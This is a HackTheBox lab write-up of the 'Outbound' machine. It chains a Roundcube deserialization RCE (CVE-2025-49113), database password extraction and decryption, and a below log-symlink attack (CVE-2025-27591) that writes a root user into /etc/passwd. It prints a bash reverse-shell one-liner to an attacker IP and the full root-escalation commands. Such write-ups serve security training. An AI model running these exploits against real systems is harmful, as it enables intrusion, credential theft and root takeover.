HTB: Outbound Writeup

Outbound - HackTheBox Writeup

Machine Information

AttributeDetails
NameOutbound
OSLinux
DifficultyEasy
PointsN/A
Release DateJune 8, 2025
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐☆☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Outbound is an easy-difficulty Linux machine featuring a Roundcube webmail instance vulnerable to post-authenticated remote code execution through PHP object deserialization (CVE-2025-49113). Starting with assumed breach credentials for the tyler user, we exploit the vulnerability to gain initial shell access as www-data. From there, database enumeration reveals an encrypted password for the jacob user, which we decrypt using Roundcube’s built-in decrypt.sh utility. Escalating to Jacob’s account via SSH provides access to a below system monitoring tool with sudo privileges. This tool is vulnerable to CVE-2025-27591, allowing world-writable log file injection. By creating a symlink from the log file to /etc/passwd and injecting a new root user via parameter pollution, we achieve privilege escalation to root.

TL;DR: Roundcube RCE (CVE-2025-49113) → Database password extraction → SSH as jacob → Below log symlink attack (CVE-2025-27591) → Root user injection → Root shell


Reconnaissance

Port Scanning

Terminal window
# Initial scan to identify all open ports
nmap -p- --min-rate=1000 -T4 10.129.237.221
# Detailed enumeration of discovered services
ports=$(nmap -p- --min-rate=1000 -T4 10.129.237.221 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -sC -sV 10.129.237.221

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9
80/tcp open http nginx 1.24.0 (Ubuntu)

Two ports are open: SSH on port 22 and HTTP on port 80. The Nmap output reveals a redirect to http://outbound.htb, indicating we need to add this domain to our hosts file.

Service Enumeration

Terminal window
# Add domain to /etc/hosts
echo "10.129.237.221 outbound.htb" | sudo tee -a /etc/hosts
# Visit the web server
curl http://outbound.htb
# Returns default Nginx page - no useful content
# Enumerate virtual hosts
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-H "Host: FUZZ.outbound.htb" \
-u http://outbound.htb \
-mc 200

Virtual host enumeration reveals the mail subdomain hosting a Roundcube webmail instance.

Terminal window
# Add mail subdomain to /etc/hosts
sed -i 's/outbound.htb/outbound.htb mail.outbound.htb/g' /etc/hosts

Navigating to http://mail.outbound.htb presents a Roundcube login form.

Vulnerability Assessment

Identified Vulnerabilities:

  1. CVE-2025-49113: Roundcube ≤ 1.6.10 Post-Authenticated Remote Code Execution via PHP Object Deserialization

    • Affects the upload.php endpoint where the _from parameter is unsafely deserialized
    • Requires valid authentication credentials
    • Allows arbitrary command execution through PEAR library gadget chains
  2. CVE-2025-27591: Below 0.8.0 Privilege Escalation via World-Writable Log Directory

    • /var/log/below directory created with 777 permissions
    • Error logs can be targeted via symlink attacks
    • Parameter injection through --time parameter allows writing to arbitrary files
  3. Weak Session Storage: Roundcube stores encrypted user passwords in the database session table, recoverable via decrypt.sh


Initial Foothold

Exploitation Path

Step 1: Access Roundcube with Provided Credentials

We’re given assumed breach credentials for the tyler user:

  • Username: tyler
  • Password: LhKL1o9Nm3X2

Authenticating to http://mail.outbound.htb succeeds. Checking the About section reveals Roundcube version 1.6.10, which is vulnerable to CVE-2025-49113.

Step 2: Exploit CVE-2025-49113 for Remote Code Execution

We use the publicly available PoC for CVE-2025-49113, which crafts a malicious PHP serialized object and injects it into the settings upload handler.

Terminal window
# Install PHP if not already available
sudo apt-get install php php-curl -y
# Download the exploit script
wget https://raw.githubusercontent.com/fearsoff-org/CVE-2025-49113/refs/heads/main/CVE-2025-49113.php
# Set up a netcat listener on attacking machine
nc -lvvp 4444
# Execute the exploit (from another terminal)
php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 \
"bash -c 'bash -i >& /dev/tcp/10.10.14.100/4444 0>&1'"

The exploit performs the following steps internally:

  1. Retrieves CSRF token and session cookie via login
  2. Authenticates as tyler
  3. Crafts a PHP serialized gadget chain exploiting PEAR’s deserialization
  4. Injects payload into the upload handler
  5. Triggers deserialization by requesting the vulnerable endpoint
Terminal window
# On netcat listener, we receive a reverse shell as www-data
# Upgrade to interactive shell
script /dev/null -c bash
export TERM=xterm-256color

Step 3: Extract Database Credentials and Connect

Terminal window
# Located in Roundcube config
cat /var/www/html/roundcube/config/config.inc.php | grep db_dsnw
# Output: $config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
# Connect to database
mysql -u roundcube -pRCDBPass2025 roundcube

Step 4: Extract Encrypted Password from Session Table

-- In MySQL shell
SELECT * FROM session;
-- Output shows base64-encoded session data, decode it:
SELECT session_data FROM session WHERE username='jacob' LIMIT 1;

The decoded session contains:

...password|s:32:"6h0Viri9COcVteO5TRZd3A1efRORYrub"...

Step 5: Decrypt Password using Roundcube’s decrypt.sh

/var/www/html/roundcube/bin/decrypt.sh
# Locate the decrypt script
find /var/www/html/roundcube -name decrypt.sh 2>/dev/null
# Decrypt Jacob's password
/var/www/html/roundcube/bin/decrypt.sh 6h0Viri9COcVteO5TRZd3A1efRORYrub
# Output: 595mO8DmwGeD

Step 6: Access Jacob’s Roundcube Account

Authenticate to Roundcube with credentials: jacob:595mO8DmwGeD

In Jacob’s inbox, two emails are found:

  1. An email containing updated SSH credentials: jacob:gY4Wr3a1evp4
  2. An email indicating Jacob has sudo privileges to run the below monitoring utility

Step 7: Obtain SSH Access

Terminal window
# SSH into the target
ssh jacob@outbound.htb
# Enter password: gY4Wr3a1evp4
# Verify user flag is readable
cat /home/jacob/user.txt

Privilege Escalation

Exploitation Path

Step 1: Enumerate Sudo Privileges

Terminal window
# Check what jacob can run with sudo
sudo -l

Output shows:

User jacob may run the following commands on outbound:
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below -d *

Jacob can run below without a password but cannot use --config or -d (debug) flags.

Step 2: Identify Below Version and Vulnerability

Terminal window
# Check the compiled source in /opt/below
cd /opt/below
grep -R "version" | grep -i "0\."
# Output: below/model/Cargo.toml:below_derive = { version = "0.8.0", path = "../below_derive" }
# Version 0.8.0 is vulnerable to CVE-2025-27591

Step 3: Verify World-Writable Log Directory

Terminal window
# Check /var/log/below permissions
ls -la /var/log/ | grep below
# Output: drwxrwxrwx 3 root root 4096 Jun 8 12:00 below
# The directory is world-writable, allowing log injection

Step 4: Test Parameter Injection via —time Parameter

Terminal window
# Test if we can inject arbitrary input
sudo below replay --time AAAAAAAAAA
# Output shows error message is logged:
# Error Message: Unrecognized timestamp format
# Input: AAAAAAAAAA.

Step 5: Test Newline Injection

Terminal window
# Verify we can inject newlines into the log file
sudo below replay --time "$(echo -ne '\n\n\n\ntest_payload\n\n')"
# Check error_root.log to confirm newlines are preserved
cat /var/log/below/error_root.log

Step 6: Create Symlink Attack

Terminal window
# Navigate to the writable log directory
cd /var/log/below
# Remove or backup existing error_root.log
rm error_root.log
# Create symlink to /etc/passwd
ln -s /etc/passwd error_root.log
# Verify the symlink
ls -la error_root.log

Step 7: Generate Password Hash and Inject New Root User

Terminal window
# Generate a password hash for our new user
openssl passwd -6 "NewPassword123!"
# Output: $6$I5KMag5FDD6iSgAK$WJKg9Y/dEMF1xdq1Ehu7uhog7BFxQ2DlvwQsse5btw8S7l2R5H1iwENE.Vr37Si4qVT0zmaMhv8RNd1ydacSn1
# Inject new root user via below's log injection
# Format: username:password_hash:uid:gid:name:home:shell
sudo below replay --time "$(echo -ne '\n\ntcg:$6$I5KMag5FDD6iSgAK$WJKg9Y/dEMF1xdq1Ehu7uhog7BFxQ2DlvwQsse5btw8S7l2R5H1iwENE.Vr37Si4qVT0zmaMhv8RNd1ydacSn1:0:0:root:/root:/bin/bash\n\n\n\n\naaaaaaaaaaaa')"

This command:

  1. Triggers the --time parameter injection in below replay
  2. Because error_root.log is a symlink to /etc/passwd, the error output is written to /etc/passwd
  3. The injected newlines allow us to add a complete passwd entry
  4. The new user tcg has UID 0 (root), allowing privilege escalation

Step 8: Verify User Creation and Escalate to Root

/bin/bash
# Verify the new user was added to /etc/passwd
cat /etc/passwd | grep tcg
# Switch to the new root user
su tcg
# Enter password: NewPassword123!
# Verify we have root access
id
# Output: uid=0(root) gid=0(root) groups=0(root)
# Read root flag
cat /root/root.txt

Attack Chain Summary

Assumed Credentials (tyler:LhKL1o9Nm3X2)
Roundcube Login & Enumeration (v1.6.10)
CVE-2025-49113 PHP Deserialization RCE
Reverse Shell as www-data
MySQL Database Access (roundcube:RCDBPass2025)
Session Table Enumeration → Extract jacob's Encrypted Password
decrypt.sh Decryption (595mO8DmwGeD)
Roundcube Access as jacob → Read SSH Credentials Email
SSH as jacob (jacob:gY4Wr3a1evp4)
Enumerate Sudo Privileges → /usr/bin/below NOPASSWD
Discover below 0.8.0 CVE-2025-27591 Vulnerability
Symlink /var/log/below/error_root.log → /etc/passwd
Parameter Injection via --time + Newline Injection
Root User Injection into /etc/passwd (UID 0)
su tcg with injected credentials
Root Access & Flag Capture

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
ffufVirtual host discovery
curl / wgetHTTP requests and exploit download
phpCVE-2025-49113 exploit execution
ncNetcat reverse shell listener
mysqlDatabase enumeration
sshSecure shell access
opensslPassword hash generation
base64Session data decoding
lnSymlink creation for log injection

Key Learnings

Techniques Practiced

  • Virtual host enumeration using fuzzing
  • Post-authenticated RCE exploitation via PHP object deserialization
  • Database credential extraction from application config files
  • Encrypted credential decryption using application utilities
  • Email enumeration for information disclosure
  • Sudo privilege analysis and tool-specific vulnerabilities
  • Symlink-based file write attacks leveraging world-writable directories
  • Parameter injection and log poisoning
  • Newline injection for multi-line file manipulation
  • Privilege escalation via UID 0 user creation

Lessons Learned

  1. Assumed Breach Scenarios: Even with limited initial access, comprehensive enumeration of available services (like database access) can reveal lateral movement paths.

  2. Application Security Utilities: Tools like decrypt.sh built into applications can become attack vectors if they decrypt sensitive data accessible to unauthorized users.

  3. Permission Misconfigurations: World-writable directories created by privileged processes are dangerous, especially when symlink attacks can redirect output to sensitive files.

  4. Parameter Injection in Error Handling: Error messages logged without sanitization can be exploited to inject arbitrary content into log files or symlinked targets.

  5. Multi-Stage Exploitation: Real-world privilege escalation often requires chaining multiple vulnerabilities across different components (web app → database → SSH → sudo tool → file system).

  6. Version Enumeration: Always check application versions against known CVE databases, as even “easy” machines may rely on published exploits.

  7. Credential Storage in Sessions: Applications that store encrypted credentials in easily accessible locations (like session tables) should implement stricter access controls.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>